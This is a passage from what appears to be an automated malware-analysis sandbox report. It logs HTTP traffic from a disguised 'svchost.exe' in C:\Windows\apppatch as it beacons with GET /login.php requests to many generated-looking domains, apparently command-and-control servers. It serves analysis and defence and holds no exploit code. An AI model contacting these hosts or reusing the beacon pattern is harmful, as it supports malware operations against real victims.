                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.346458912 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyvyxor.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.448962927 CET744INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx/1.14.0 (Ubuntu)
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:01 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 580
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.085112095 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyvyxor.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.189330101 CET744INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx/1.14.0 (Ubuntu)
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:25 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 580
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.396053076 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: lyvyxor.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.499149084 CET744INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx/1.14.0 (Ubuntu)
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:25 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 580
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 20 62 67 63 6f 6c 6f 72 3d 22 77 68 69 74 65 22 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 34 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body bgcolor="white"><center><h1>404 Not Found</h1></center><hr><center>nginx/1.14.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          3192.168.2.64971085.17.31.82804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.893734932 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gatyfus.com


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          4192.168.2.64971118.208.156.248804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.895742893 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: vonypom.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.323147058 CET413INHTTP/1.1 200 OK
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:01 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: close
                                                                                                                                                                                                          Set-Cookie: btst=0bd0e9c81f5fb4bdcf4537ef7dcca8b6|66.23.206.109|1731345181|1731345181|0|1|0; path=/; domain=.vonypom.com; Expires=Thu, 15 Apr 2027 00:00:00 GMT; HttpOnly; SameSite=Lax;
                                                                                                                                                                                                          Set-Cookie: snkz=66.23.206.109; path=/; Expires=Thu, 15 Apr 2027 00:00:00 GMT
                                                                                                                                                                                                          Data Raw: 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: 0


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          5192.168.2.649712154.212.231.82804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.951148033 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gadyniw.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.832480907 CET696INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:01 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 548
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.837670088 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gadyniw.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:02.202214003 CET696INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:02 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 548
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.633567095 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gadyniw.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:24.994327068 CET696INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:24 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 548
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.060666084 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: gadyniw.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:25.409483910 CET696INHTTP/1.1 404 Not Found
                                                                                                                                                                                                          Server: nginx
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:25 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Content-Length: 548
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 [TRUNCATED]
                                                                                                                                                                                                          Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->


                                                                                                                                                                                                          Session IDSource IPSource PortDestination IPDestination PortPIDProcess
                                                                                                                                                                                                          6192.168.2.658859188.114.96.3804888C:\Windows\apppatch\svchost.exe
                                                                                                                                                                                                          TimestampBytes transferredDirectionData
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.996090889 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyhig.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.676198959 CET974INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:01 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: https://qegyhig.com/login.php
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IHEBZcaG%2FDBjDByF%2F2MMWcH0ycH9yjmr%2BSrebujFi%2BcsSw8E70CYg40mOowfuw5uihc%2BW5YO3j%2BB9ImVgJGOAfgWY6du9owKvqBlS1DRZOqbMgIrSEbyFqgKMJJOPA%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0fe9179e4d0fa7-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
                                                                                                                                                                                                          server-timing: cfL4;desc="?proto=TCP&rtt=1084&sent=1&recv=3&lost=0&retrans=0&sent_bytes=0&recv_bytes=243&delivery_rate=0&cwnd=245&unsent_bytes=0&cid=0000000000000000&ts=0&x=0"
                                                                                                                                                                                                          Data Raw: 61 32 0d 0a 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 33 30 31 20 4d 6f 76 65 64 20 50 65 72 6d 61 6e 65 6e 74 6c 79 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 0d 0a 30 0d 0a 0d 0a
                                                                                                                                                                                                          Data Ascii: a2<html><head><title>301 Moved Permanently</title></head><body><center><h1>301 Moved Permanently</h1></center><hr><center>nginx</center></body></html>0
                                                                                                                                                                                                          Nov 11, 2024 18:13:03.097882986 CET243OUTGET /login.php HTTP/1.1
                                                                                                                                                                                                          Referer: http://www.google.com
                                                                                                                                                                                                          User-Agent: Mozilla/4.0 (compatible; MSIE 2.0; Windows NT 5.0; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0)
                                                                                                                                                                                                          Host: qegyhig.com
                                                                                                                                                                                                          Nov 11, 2024 18:13:03.442421913 CET976INHTTP/1.1 301 Moved Permanently
                                                                                                                                                                                                          Date: Mon, 11 Nov 2024 17:13:03 GMT
                                                                                                                                                                                                          Content-Type: text/html
                                                                                                                                                                                                          Transfer-Encoding: chunked
                                                                                                                                                                                                          Connection: keep-alive
                                                                                                                                                                                                          Location: https://qegyhig.com/login.php
                                                                                                                                                                                                          cf-cache-status: DYNAMIC
                                                                                                                                                                                                          Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=s2Sz6BZbTAUereBuFI%2FGhEUGx9pgSP4RggGdz4ycnyYvStWACOzAur43XCH35J4Z2ID2Ls08zXKjr5RU53STVGpufnewmDuA%2B5H%2FHiB89GmB3xglYuLYavFvCqd43g%3D%3D"}],"group":"cf-nel","max_age":604800}
                                                                                                                                                                                                          NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800}
                                                                                                                                                                                                          Server: cloudflare
                                                                                                                                                                                                          CF-RAY: 8e0fe922abc50fa7-EWR
                                                                                                                                                                                                          alt-svc: h3=":443"; ma=86400
